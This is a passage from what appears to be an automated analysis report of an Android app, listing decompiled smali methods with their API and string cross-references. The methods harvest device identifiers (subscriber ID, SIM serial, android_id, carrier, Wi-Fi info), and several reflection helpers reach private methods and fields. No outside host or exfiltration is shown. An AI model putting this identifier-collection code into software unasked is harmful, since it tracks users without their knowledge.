                                                                              13invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getAllNetworkInfo()[Landroid/net/NetworkInfo;
                                                                              14move-result-object v2
                                                                              15if-eqz v2, :cond_3
                                                                              16const/4 v1, 0x0
                                                                              17goto_15: array-length v4, v2
                                                                              18if-ge v1, v4, :cond_3
                                                                              19aget-object v4, v2, v1
                                                                              21invoke-virtual {v4}, Landroid/net/NetworkInfo;->getState()Landroid/net/NetworkInfo$State;
                                                                              22move-result-object v4
                                                                              24sget-object v5, Landroid/net/NetworkInfo$State;->CONNECTED:Landroid/net/NetworkInfo$State;
                                                                              25try_end_20: if-ne v4, v5, :cond_24
                                                                              26const/4 v3, 0x1
                                                                              27goto/16 :goto_3
                                                                              28cond_24: add-int/lit8 v1, v1, 0x1
                                                                              29goto/16 :goto_15
                                                                              30catch_27: move-exception v4
                                                                              31goto/16 :goto_3
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.telephony.TelephonyManager.getNetworkOperatorName
                                                                              Strings
                                                                              • phone
                                                                              • android.permission.READ_PHONE_STATE
                                                                              Position Instruction Meta Information
                                                                              0if-nez p0, :cond_5
                                                                              2const-string v0, ""
                                                                              3goto_4: return-object v0
                                                                              4try_start_5:
                                                                              5const-string v0, "phone"
                                                                              7invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              8move-result-object v0
                                                                              9check-cast v0, Landroid/telephony/TelephonyManager;
                                                                              11const-string v1, "android.permission.READ_PHONE_STATE"
                                                                              13invoke-static {p0, v1}, LuAgent/commonsdk/statistics/common/DeviceConfig;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              14move-result v1
                                                                              15if-eqz v1, :cond_1d
                                                                              16if-eqz v0, :cond_1d
                                                                              18invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getNetworkOperatorName()Ljava/lang/String;
                                                                              19try_end_1a: move-result-object v0
                                                                              20goto/16 :goto_4
                                                                              21catch_1c: move-exception v0
                                                                              22cond_1d:
                                                                              23const-string v0, ""
                                                                              24goto/16 :goto_4
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.net.ConnectivityManager.getActiveNetworkInfo
                                                                              • android.net.NetworkInfo.getType
                                                                              Strings
                                                                              • connectivity
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "context" # Landroid/content/Context;
                                                                              1.prologue
                                                                              2const/4 v3, 0x1
                                                                              3const/4 v2, 0x0
                                                                              4if-nez p0, :cond_5
                                                                              5goto_4: return v2
                                                                              6try_start_5:
                                                                              7const-string v4, "connectivity"
                                                                              9invoke-virtual {p0, v4}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              10move-result-object v0
                                                                              11check-cast v0, Landroid/net/ConnectivityManager;
                                                                              13invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
                                                                              14move-result-object v1
                                                                              15if-eqz v1, :cond_4
                                                                              17invoke-virtual {v1}, Landroid/net/NetworkInfo;->getType()I
                                                                              18try_end_16: move-result v4
                                                                              19if-ne v4, v3, :cond_4
                                                                              20move v2, v3
                                                                              21goto/16 :goto_4
                                                                              22catch_1b: move-exception v3
                                                                              23goto/16 :goto_4
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.net.ConnectivityManager.getNetworkInfo
                                                                              • android.net.NetworkInfo.isConnected
                                                                              Strings
                                                                              • connectivity
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "context" # Landroid/content/Context;
                                                                              1.prologue
                                                                              2const/4 v3, 0x1
                                                                              3try_start_1:
                                                                              4const-string v4, "connectivity"
                                                                              6invoke-virtual {p0, v4}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              7move-result-object v0
                                                                              8check-cast v0, Landroid/net/ConnectivityManager;
                                                                              9const/4 v4, 0x1
                                                                              11invoke-virtual {v0, v4}, Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
                                                                              12move-result-object v2
                                                                              14invoke-virtual {v2}, Landroid/net/NetworkInfo;->isConnected()Z
                                                                              15try_end_11: move-result v4
                                                                              16if-eqz v4, :cond_19
                                                                              17goto_14: return v3
                                                                              18catch_15: move-exception v1
                                                                              20invoke-static {v1}, Lcom/android/leech/base/analytics/Analytics;->doEventThrowable(Ljava/lang/Throwable;)V
                                                                              21cond_19: const/4 v3, 0x0
                                                                              22goto/16 :goto_14
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.net.ConnectivityManager.getActiveNetworkInfo
                                                                              • android.net.NetworkInfo.getType
                                                                              Strings
                                                                              • connectivity
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "context" # Landroid/content/Context;
                                                                              1.prologue
                                                                              2const/4 v2, 0x0
                                                                              3if-nez p0, :cond_4
                                                                              4cond_3: return v2
                                                                              5try_start_4:
                                                                              6const-string v3, "connectivity"
                                                                              8invoke-virtual {p0, v3}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              9move-result-object v0
                                                                              10check-cast v0, Landroid/net/ConnectivityManager;
                                                                              12invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
                                                                              13move-result-object v1
                                                                              14if-eqz v1, :cond_3
                                                                              16invoke-virtual {v1}, Landroid/net/NetworkInfo;->getType()I
                                                                              17try_end_15: move-result v3
                                                                              18if-nez v3, :cond_3
                                                                              19const/4 v2, 0x1
                                                                              20goto/16 :goto_3
                                                                              21catch_1a: move-exception v3
                                                                              22goto/16 :goto_3
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.net.wifi.WifiManager.getConnectionInfo
                                                                              Strings
                                                                              • android.permission.ACCESS_WIFI_STATE
                                                                              • wifi
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1if-nez p0, :cond_4
                                                                              2goto_3: return-object v1
                                                                              3cond_4:
                                                                              4const-string v0, "android.permission.ACCESS_WIFI_STATE"
                                                                              6invoke-static {p0, v0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              7move-result v0
                                                                              8if-eqz v0, :cond_1c
                                                                              10const-string v0, "wifi"
                                                                              12invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              13move-result-object v0
                                                                              14check-cast v0, Landroid/net/wifi/WifiManager;
                                                                              15if-eqz v0, :cond_1c
                                                                              17invoke-virtual {v0}, Landroid/net/wifi/WifiManager;->getConnectionInfo()Landroid/net/wifi/WifiInfo;
                                                                              18move-result-object v0
                                                                              19goto_1a: move-object v1, v0
                                                                              20goto/16 :goto_3
                                                                              21cond_1c: move-object v0, v1
                                                                              22goto/16 :goto_1a
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.net.wifi.WifiManager.getWifiState
                                                                              Strings
                                                                              • android.permission.ACCESS_WIFI_STATE
                                                                              • wifi
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, -0x1
                                                                              1if-nez p0, :cond_4
                                                                              2goto_3: return v1
                                                                              3cond_4:
                                                                              4const-string v0, "android.permission.ACCESS_WIFI_STATE"
                                                                              6invoke-static {p0, v0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              7move-result v0
                                                                              8if-eqz v0, :cond_1c
                                                                              10const-string v0, "wifi"
                                                                              12invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              13move-result-object v0
                                                                              14check-cast v0, Landroid/net/wifi/WifiManager;
                                                                              15if-eqz v0, :cond_1c
                                                                              17invoke-virtual {v0}, Landroid/net/wifi/WifiManager;->getWifiState()I
                                                                              18move-result v0
                                                                              19goto_1a: move v1, v0
                                                                              20goto/16 :goto_3
                                                                              21cond_1c: move v0, v1
                                                                              22goto/16 :goto_1a
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.telephony.TelephonyManager.getSubscriberId
                                                                              Strings
                                                                              • android.permission.READ_PHONE_STATE
                                                                              • phone
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1if-nez p0, :cond_4
                                                                              2goto_3: return-object v1
                                                                              3cond_4:
                                                                              4const-string v0, "android.permission.READ_PHONE_STATE"
                                                                              6invoke-static {p0, v0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              7move-result v0
                                                                              8if-eqz v0, :cond_1c
                                                                              10const-string v0, "phone"
                                                                              12invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              13move-result-object v0
                                                                              14check-cast v0, Landroid/telephony/TelephonyManager;
                                                                              15if-eqz v0, :cond_1c
                                                                              17invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getSubscriberId()Ljava/lang/String;
                                                                              18move-result-object v0
                                                                              19goto_1a: move-object v1, v0
                                                                              20goto/16 :goto_3
                                                                              21cond_1c: move-object v0, v1
                                                                              22goto/16 :goto_1a
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.telephony.TelephonyManager.getSubscriberId
                                                                              Strings
                                                                              • phone
                                                                              • android.permission.READ_PHONE_STATE
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1if-nez p0, :cond_4
                                                                              2goto_3: return-object v1
                                                                              3cond_4:
                                                                              4const-string v0, "phone"
                                                                              6invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              7move-result-object v0
                                                                              8check-cast v0, Landroid/telephony/TelephonyManager;
                                                                              10const-string v2, "android.permission.READ_PHONE_STATE"
                                                                              12invoke-static {p0, v2}, LuAgent/commonsdk/statistics/common/DeviceConfig;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              13move-result v2
                                                                              14if-eqz v2, :cond_1a
                                                                              16invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getSubscriberId()Ljava/lang/String;
                                                                              17move-result-object v0
                                                                              18goto_18: move-object v1, v0
                                                                              19goto/16 :goto_3
                                                                              20cond_1a: move-object v0, v1
                                                                              21goto/16 :goto_18
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.telephony.TelephonyManager.getNetworkOperator
                                                                              Strings
                                                                              • phone
                                                                              • android.permission.READ_PHONE_STATE
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1if-nez p0, :cond_4
                                                                              2goto_3: return-object v1
                                                                              3cond_4:
                                                                              4const-string v0, "phone"
                                                                              6invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              7move-result-object v0
                                                                              8check-cast v0, Landroid/telephony/TelephonyManager;
                                                                              10const-string v2, "android.permission.READ_PHONE_STATE"
                                                                              12invoke-static {p0, v2}, LuAgent/commonsdk/statistics/common/DeviceConfig;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              13move-result v2
                                                                              14if-eqz v2, :cond_1a
                                                                              16invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getNetworkOperator()Ljava/lang/String;
                                                                              17move-result-object v0
                                                                              18goto_18: move-object v1, v0
                                                                              19goto/16 :goto_3
                                                                              20cond_1a: move-object v0, v1
                                                                              21goto/16 :goto_18
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.telephony.TelephonyManager.getSubscriberId
                                                                              • java.lang.String.toLowerCase
                                                                              Strings
                                                                              • phone
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "var0" # Landroid/content/Context;
                                                                              1.prologue
                                                                              2const/4 v0, 0x0
                                                                              3try_start_1:
                                                                              4const-string v2, "phone"
                                                                              6invoke-virtual {p0, v2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              7move-result-object v1
                                                                              8check-cast v1, Landroid/telephony/TelephonyManager;
                                                                              9if-eqz v1, :cond_15
                                                                              11invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getSubscriberId()Ljava/lang/String;
                                                                              12move-result-object v0
                                                                              13if-eqz v0, :cond_15
                                                                              15invoke-virtual {v0}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
                                                                              16try_end_14: move-result-object v0
                                                                              17cond_15: return-object v0
                                                                              18catch_16: move-exception v2
                                                                              19goto/16 :goto_15
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getContentResolver
                                                                              • android.provider.Settings$Secure.getString
                                                                              Strings
                                                                              • android_id
                                                                              • can\'t read android id
                                                                              Position Instruction Meta Information
                                                                              0const/4 v0, 0x0
                                                                              1if-eqz p0, :cond_d
                                                                              2try_start_3:
                                                                              3invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                                                                              4move-result-object v1
                                                                              6const-string v2, "android_id"
                                                                              8invoke-static {v1, v2}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                                                                              9try_end_c: move-result-object v0
                                                                              10goto_d: return-object v0
                                                                              11catch_e: move-exception v1
                                                                              12sget-boolean v1, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              13if-eqz v1, :cond_d
                                                                              15const-string v1, "can\'t read android id"
                                                                              17invoke-static {v1}, LuAgent/commonsdk/statistics/common/MLog;->w(Ljava/lang/String;)V
                                                                              18goto/16 :goto_d
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.telephony.TelephonyManager.getSimSerialNumber
                                                                              Strings
                                                                              • android.permission.READ_PHONE_STATE
                                                                              • phone
                                                                              Position Instruction Meta Information
                                                                              0const/4 v0, 0x0
                                                                              1if-eqz p0, :cond_17
                                                                              3const-string v1, "android.permission.READ_PHONE_STATE"
                                                                              5invoke-static {p0, v1}, LuAgent/commonsdk/utils/UMUtils;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              6move-result v1
                                                                              7if-eqz v1, :cond_17
                                                                              9const-string v0, "phone"
                                                                              11invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              12move-result-object v0
                                                                              13check-cast v0, Landroid/telephony/TelephonyManager;
                                                                              15invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getSimSerialNumber()Ljava/lang/String;
                                                                              16move-result-object v0
                                                                              17cond_17: return-object v0
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.setAccessible
                                                                              • java.lang.reflect.Method.invoke
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "class_name" # Ljava/lang/String;
                                                                              1.param p1, "method_name" # Ljava/lang/String;
                                                                              2.param p2, "pareTyple" # [Ljava/lang/Class;
                                                                              3.param p3, "pareVaules" # [Ljava/lang/Object;
                                                                              4.prologue
                                                                              5const/4 v2, 0x0
                                                                              6try_start_1:
                                                                              7invoke-static {p0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              8move-result-object v1
                                                                              10invoke-virtual {v1, p1, p2}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              11move-result-object v0
                                                                              12const/4 v3, 0x1
                                                                              14invoke-virtual {v0, v3}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                                                              15const/4 v3, 0x0
                                                                              17invoke-virtual {v0, v3, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              18try_end_11: move-result-object v2
                                                                              19goto_12: return-object v2
                                                                              20catch_13: move-exception v3
                                                                              21goto/16 :goto_12
                                                                              22catch_15: move-exception v3
                                                                              23goto/16 :goto_12
                                                                              24catch_17: move-exception v3
                                                                              25goto/16 :goto_12
                                                                              26catch_19: move-exception v3
                                                                              27goto/16 :goto_12
                                                                              28catch_1b: move-exception v3
                                                                              29goto/16 :goto_12
                                                                              30catch_1d: move-exception v3
                                                                              31goto/16 :goto_12
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.setAccessible
                                                                              • java.lang.reflect.Method.invoke
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "class_name" # Ljava/lang/String;
                                                                              1.param p1, "method_name" # Ljava/lang/String;
                                                                              2.param p2, "pareTyple" # [Ljava/lang/Class;
                                                                              3.param p3, "pareVaules" # [Ljava/lang/Object;
                                                                              4.prologue
                                                                              5const/4 v2, 0x0
                                                                              6try_start_1:
                                                                              7invoke-static {p0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              8move-result-object v1
                                                                              10invoke-virtual {v1, p1, p2}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              11move-result-object v0
                                                                              12const/4 v3, 0x1
                                                                              14invoke-virtual {v0, v3}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                                                              15const/4 v3, 0x0
                                                                              17invoke-virtual {v0, v3, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              18try_end_11: move-result-object v2
                                                                              19goto_12: return-object v2
                                                                              20catch_13: move-exception v3
                                                                              21goto/16 :goto_12
                                                                              22catch_15: move-exception v3
                                                                              23goto/16 :goto_12
                                                                              24catch_17: move-exception v3
                                                                              25goto/16 :goto_12
                                                                              26catch_19: move-exception v3
                                                                              27goto/16 :goto_12
                                                                              28catch_1b: move-exception v3
                                                                              29goto/16 :goto_12
                                                                              30catch_1d: move-exception v3
                                                                              31goto/16 :goto_12
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.setAccessible
                                                                              • java.lang.reflect.Method.invoke
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "class_name" # Ljava/lang/String;
                                                                              1.param p1, "method_name" # Ljava/lang/String;
                                                                              2.param p2, "pareTyple" # [Ljava/lang/Class;
                                                                              3.param p3, "pareVaules" # [Ljava/lang/Object;
                                                                              4.prologue
                                                                              5const/4 v2, 0x0
                                                                              6try_start_1:
                                                                              7invoke-static {p0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              8move-result-object v1
                                                                              10invoke-virtual {v1, p1, p2}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              11move-result-object v0
                                                                              12const/4 v3, 0x1
                                                                              14invoke-virtual {v0, v3}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                                                              15const/4 v3, 0x0
                                                                              17invoke-virtual {v0, v3, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              18try_end_11: move-result-object v2
                                                                              19goto_12: return-object v2
                                                                              20catch_13: move-exception v3
                                                                              21goto/16 :goto_12
                                                                              22catch_15: move-exception v3
                                                                              23goto/16 :goto_12
                                                                              24catch_17: move-exception v3
                                                                              25goto/16 :goto_12
                                                                              26catch_19: move-exception v3
                                                                              27goto/16 :goto_12
                                                                              28catch_1b: move-exception v3
                                                                              29goto/16 :goto_12
                                                                              30catch_1d: move-exception v3
                                                                              31goto/16 :goto_12
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.reflect.Field.get
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "class_name" # Ljava/lang/String;
                                                                              1.param p1, "obj" # Ljava/lang/Object;
                                                                              2.param p2, "filedName" # Ljava/lang/String;
                                                                              3.prologue
                                                                              4try_start_0:
                                                                              5invoke-static {p0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              6move-result-object v1
                                                                              8invoke-virtual {v1, p2}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              9move-result-object v0
                                                                              10const/4 v2, 0x1
                                                                              12invoke-virtual {v0, v2}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              14invoke-virtual {v0, p1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              15try_end_f: move-result-object v2
                                                                              16goto_10: return-object v2
                                                                              17catch_11: move-exception v2
                                                                              18goto_12: const/4 v2, 0x0
                                                                              19goto/16 :goto_10
                                                                              20catch_14: move-exception v2
                                                                              21goto/16 :goto_12
                                                                              22catch_16: move-exception v2
                                                                              23goto/16 :goto_12
                                                                              24catch_18: move-exception v2
                                                                              25goto/16 :goto_12
                                                                              26catch_1a: move-exception v2
                                                                              27goto/16 :goto_12
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.reflect.Field.get
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "class_name" # Ljava/lang/String;
                                                                              1.param p1, "filedName" # Ljava/lang/String;
                                                                              2.prologue
                                                                              3const/4 v2, 0x0
                                                                              4try_start_1:
                                                                              5invoke-static {p0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              6move-result-object v1
                                                                              8invoke-virtual {v1, p1}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              9move-result-object v0
                                                                              10const/4 v3, 0x1
                                                                              12invoke-virtual {v0, v3}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              13const/4 v3, 0x0
                                                                              15invoke-virtual {v0, v3}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              16try_end_11: move-result-object v2
                                                                              17goto_12: return-object v2
                                                                              18catch_13: move-exception v3
                                                                              19goto/16 :goto_12
                                                                              20catch_15: move-exception v3
                                                                              21goto/16 :goto_12
                                                                              22catch_17: move-exception v3
                                                                              23goto/16 :goto_12
                                                                              24catch_19: move-exception v3
                                                                              25goto/16 :goto_12
                                                                              26catch_1b: move-exception v3
                                                                              27goto/16 :goto_12
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.reflect.Field.get
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "class_name" # Ljava/lang/String;
                                                                              1.param p1, "obj" # Ljava/lang/Object;
                                                                              2.param p2, "filedName" # Ljava/lang/String;
                                                                              3.prologue
                                                                              4try_start_0:
                                                                              5invoke-static {p0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              6move-result-object v1
                                                                              8invoke-virtual {v1, p2}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              9move-result-object v0
                                                                              10const/4 v2, 0x1
                                                                              12invoke-virtual {v0, v2}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              14invoke-virtual {v0, p1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              15try_end_f: move-result-object v2
                                                                              16goto_10: return-object v2
                                                                              17catch_11: move-exception v2
                                                                              18goto_12: const/4 v2, 0x0
                                                                              19goto/16 :goto_10
                                                                              20catch_14: move-exception v2
                                                                              21goto/16 :goto_12
                                                                              22catch_16: move-exception v2
                                                                              23goto/16 :goto_12
                                                                              24catch_18: move-exception v2
                                                                              25goto/16 :goto_12
                                                                              26catch_1a: move-exception v2
                                                                              27goto/16 :goto_12
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.reflect.Field.get
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "class_name" # Ljava/lang/String;
                                                                              1.param p1, "filedName" # Ljava/lang/String;
                                                                              2.prologue
                                                                              3const/4 v2, 0x0
                                                                              4try_start_1:
                                                                              5invoke-static {p0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              6move-result-object v1
                                                                              8invoke-virtual {v1, p1}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              9move-result-object v0
                                                                              10const/4 v3, 0x1
                                                                              12invoke-virtual {v0, v3}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              13const/4 v3, 0x0
                                                                              15invoke-virtual {v0, v3}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              16try_end_11: move-result-object v2
                                                                              17goto_12: return-object v2
                                                                              18catch_13: move-exception v3
                                                                              19goto/16 :goto_12
                                                                              20catch_15: move-exception v3
                                                                              21goto/16 :goto_12
                                                                              22catch_17: move-exception v3
                                                                              23goto/16 :goto_12
                                                                              24catch_19: move-exception v3
                                                                              25goto/16 :goto_12
                                                                              26catch_1b: move-exception v3
                                                                              27goto/16 :goto_12
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.reflect.Field.get
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "class_name" # Ljava/lang/String;
                                                                              1.param p1, "obj" # Ljava/lang/Object;
                                                                              2.param p2, "filedName" # Ljava/lang/String;
                                                                              3.prologue
                                                                              4try_start_0:
                                                                              5invoke-static {p0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              6move-result-object v1
                                                                              8invoke-virtual {v1, p2}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              9move-result-object v0
                                                                              10const/4 v2, 0x1
                                                                              12invoke-virtual {v0, v2}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              14invoke-virtual {v0, p1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              15try_end_f: move-result-object v2
                                                                              16goto_10: return-object v2
                                                                              17catch_11: move-exception v2
                                                                              18goto_12: const/4 v2, 0x0
                                                                              19goto/16 :goto_10
                                                                              20catch_14: move-exception v2
                                                                              21goto/16 :goto_12
                                                                              22catch_16: move-exception v2
                                                                              23goto/16 :goto_12
                                                                              24catch_18: move-exception v2
                                                                              25goto/16 :goto_12
                                                                              26catch_1a: move-exception v2
                                                                              27goto/16 :goto_12
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.reflect.Field.get
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "class_name" # Ljava/lang/String;
                                                                              1.param p1, "filedName" # Ljava/lang/String;
                                                                              2.prologue
                                                                              3const/4 v2, 0x0
                                                                              4try_start_1:
                                                                              5invoke-static {p0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              6move-result-object v1
                                                                              8invoke-virtual {v1, p1}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              9move-result-object v0
                                                                              10const/4 v3, 0x1
                                                                              12invoke-virtual {v0, v3}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              13const/4 v3, 0x0
                                                                              15invoke-virtual {v0, v3}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              16try_end_11: move-result-object v2
                                                                              17goto_12: return-object v2
                                                                              18catch_13: move-exception v3
                                                                              19goto/16 :goto_12
                                                                              20catch_15: move-exception v3
                                                                              21goto/16 :goto_12
                                                                              22catch_17: move-exception v3
                                                                              23goto/16 :goto_12
                                                                              24catch_19: move-exception v3
                                                                              25goto/16 :goto_12
                                                                              26catch_1b: move-exception v3
                                                                              27goto/16 :goto_12
                                                                              Cross References
                                                                              APIs
                                                                              • java.util.Map.clear
                                                                              • java.util.concurrent.atomic.AtomicLong.set
                                                                              • java.io.File.listFiles
                                                                              • java.io.File.delete
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              2iget-object v2, p0, Lcom/android/leech/base/util/ACache$ACacheManager;->lastUsageDates:Ljava/util/Map;
                                                                              4invoke-interface {v2}, Ljava/util/Map;->clear()V
                                                                              6iget-object v2, p0, Lcom/android/leech/base/util/ACache$ACacheManager;->cacheSize:Ljava/util/concurrent/atomic/AtomicLong;
                                                                              7const-wide/16 v3, 0x0
                                                                              9invoke-virtual {v2, v3, v4}, Ljava/util/concurrent/atomic/AtomicLong;->set(J)V
                                                                              11iget-object v2, p0, Lcom/android/leech/base/util/ACache$ACacheManager;->cacheDir:Ljava/io/File;
